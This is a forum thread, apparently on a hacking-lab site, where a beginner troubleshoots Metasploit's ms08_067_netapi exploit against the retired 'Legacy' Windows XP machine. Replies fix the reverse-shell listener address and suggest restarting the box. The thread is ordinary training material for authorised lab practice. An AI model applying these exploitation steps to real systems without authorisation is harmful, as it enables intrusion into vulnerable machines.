Legacy exploit failed

Hello,
i’m trying my first retired machine legacy and i followed the official instruction
it’s suppose to work directly with the exploit exploit/windows/smb/ms08_067_netapi

So i set the rhost with the destination IP
use exploit/windows/smb/ms08_067_netapi

[] Started reverse TCP handler on 192.168.1.49:4444
[
] 10.129.111.71:445 - Automatically detecting the target…
[] 10.129.111.71:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[
] 10.129.111.71:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[] 10.129.111.71:445 - Attempting to trigger the vulnerability…
[
] Exploit completed, but no session was created.

I get this message every time don’t understand why ?
I also set targets 6 (english) same result
i reset the vm several time same result
reboot kali same !

appreciate any help !

The first thing I noticed is your LHOST. Your LHOST is on a 192 network. Since you are the HTB VPN, your LHOST should be on a 10-dot network.

You can find your IP on the VPN using ifconfig tun0.

Another thing you can do is when you’re inside MSF, run set LHOST tun0 and MSF will automatically pull your tun0 IP :slight_smile:

It should work what @mav3n mentioned. A good thing to remember is if you use msf to run the command show OPTIONS. This will show you all variables which can be configured.

Thanks for your helps ! i already try that but maybe got confuse somewhere so will do again !

work great this time thanks a lot but retired machine seems a little unstable i lost my session after 3mn and have to reset !

i’m getting 10.129.1.111:445 - Exploit failed: Rex::Proto::SMB::Execptions::ErrorCode The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
Exploit completed, but no session was created

Mar 2024 - Restarting the box will solve the metasploit revShell issues. The technology involved is quite old and shakey. Happy hacking :smiling_face_with_three_hearts: